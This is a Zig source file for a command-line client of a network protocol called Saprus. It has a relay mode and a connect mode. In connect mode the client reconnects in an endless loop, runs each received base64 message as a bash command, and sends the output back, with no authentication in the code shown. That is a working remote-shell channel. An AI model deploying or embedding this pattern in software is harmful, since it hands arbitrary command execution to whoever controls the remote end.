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|
const is_debug = builtin.mode == .Debug;
const help =
\\-h, --help Display this help and exit.
\\-r, --relay <str> A relay message to send.
\\-d, --dest <str> An IPv4 or <= 4 ASCII byte string.
\\-c, --connect <str> A connection message to send.
\\
;
const Option = enum { help, relay, dest, connect };
const to_option: StaticStringMap(Option) = .initComptime(.{
.{ "-h", .help },
.{ "--help", .help },
.{ "-r", .relay },
.{ "--relay", .relay },
.{ "-d", .dest },
.{ "--dest", .dest },
.{ "-c", .connect },
.{ "--connect", .connect },
});
pub fn main(init: std.process.Init) !void {
// CLI parsing adapted from the example here
// https://codeberg.org/ziglang/zig/pulls/30644
const args = try init.minimal.args.toSlice(init.arena.allocator());
if (args.len == 1) {
std.debug.print("{s}", .{help});
return;
}
var flags: struct {
relay: ?[]const u8 = null,
dest: ?[]const u8 = null,
connect: ?[]const u8 = null,
} = .{};
{
var i: usize = 1;
while (i < args.len) : (i += 1) {
if (to_option.get(args[i])) |opt| {
switch (opt) {
.help => {
std.debug.print("{s}", .{help});
return;
},
.relay => {
i += 1;
if (i < args.len) {
flags.relay = args[i];
} else {
flags.relay = "";
}
},
.dest => {
i += 1;
if (i < args.len) {
flags.dest = args[i];
} else {
std.debug.print("-d/--dest requires a string\n", .{});
return error.InvalidArguments;
}
},
.connect => {
i += 1;
if (i < args.len) {
flags.connect = args[i];
} else {
flags.connect = "";
}
},
}
} else {
std.debug.print("Unknown argument: {s}\n", .{args[i]});
return error.InvalidArguments;
}
}
}
if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
return error.InvalidArguments;
}
var client: SaprusClient = undefined;
if (flags.relay != null) {
client = try .init();
defer client.deinit();
var chunk_writer_buf: [2048]u8 = undefined;
var chunk_writer: Writer = .fixed(&chunk_writer_buf);
if (flags.relay.?.len > 0) {
var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
while (output_iter.next()) |chunk| {
chunk_writer.end = 0;
try chunk_writer.print("{b64}", .{chunk});
try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
try init.io.sleep(.fromMilliseconds(40), .boot);
}
} else {
var stdin_file: std.Io.File = .stdin();
var stdin_file_reader = stdin_file.reader(init.io, &.{});
var stdin_reader = &stdin_file_reader.interface;
var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
var stdin = &limited.interface;
while (stdin.fillMore()) {
// Sometimes fillMore will return 0 bytes.
// Skip these
if (stdin.seek == stdin.end) continue;
chunk_writer.end = 0;
try chunk_writer.print("{b64}", .{stdin.buffered()});
try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
try init.io.sleep(.fromMilliseconds(40), .boot);
try stdin.discardAll(stdin.end);
} else |err| switch (err) {
error.EndOfStream => {
log.debug("end of stdin", .{});
},
else => |e| return e,
}
}
return;
}
var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined;
var w: Writer = .fixed(&init_con_buf);
try w.print("{b64}", .{flags.connect.?});
if (flags.connect != null) {
reconnect: while (true) {
client = try .init();
defer client.deinit();
log.debug("Starting connection", .{});
try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
var connection = client.connect(init.io, w.buffered()) catch {
log.debug("Connection timed out", .{});
continue;
};
log.debug("Connection started", .{});
next_message: while (true) {
var res_buf: [2048]u8 = undefined;
try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
const next = connection.next(init.io, &res_buf) catch {
continue :reconnect;
};
const b64d = std.base64.standard.Decoder;
var connection_payload_buf: [2048]u8 = undefined;
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
b64d.decode(connection_payload, next) catch {
log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
continue;
};
const child = std.process.spawn(init.io, .{
.argv = &.{ "bash", "-c", connection_payload },
.stdout = .pipe,
.stderr = .pipe,
}) catch continue;
var child_stdout: std.ArrayList(u8) = .empty;
defer child_stdout.deinit(init.gpa);
var child_stderr: std.ArrayList(u8) = .empty;
defer child_stderr.deinit(init.gpa);
child.collectOutput(init.gpa, &child_stdout, &child_stderr, std.math.maxInt(usize)) catch |err| {
log.debug("Failed to collect output: {t}", .{err});
continue;
};
var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
var cmd_output: Writer = .fixed(&cmd_output_buf);
var cmd_output_window_iter = std.mem.window(u8, child_stdout.items, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
while (cmd_output_window_iter.next()) |chunk| {
cmd_output.end = 0;
// Unreachable because the cmd_output_buf is twice the size of the chunk.
cmd_output.print("{b64}", .{chunk}) catch unreachable;
connection.send(init.io, cmd_output.buffered()) catch |err| {
log.debug("Failed to send connection chunk: {t}", .{err});
continue :next_message;
};
try init.io.sleep(.fromMilliseconds(40), .boot);
}
}
}
}
unreachable;
}
fn parseDest(in: ?[]const u8) [4]u8 {
if (in) |dest| {
if (dest.len <= 4) {
var res: [4]u8 = @splat(0);
@memcpy(res[0..dest.len], dest);
return res;
}
const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
return addr.bytes;
}
return "disc".*;
}
const builtin = @import("builtin");
const std = @import("std");
const log = std.log;
const ArrayList = std.ArrayList;
const StaticStringMap = std.StaticStringMap;
const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message;
const Writer = std.Io.Writer;
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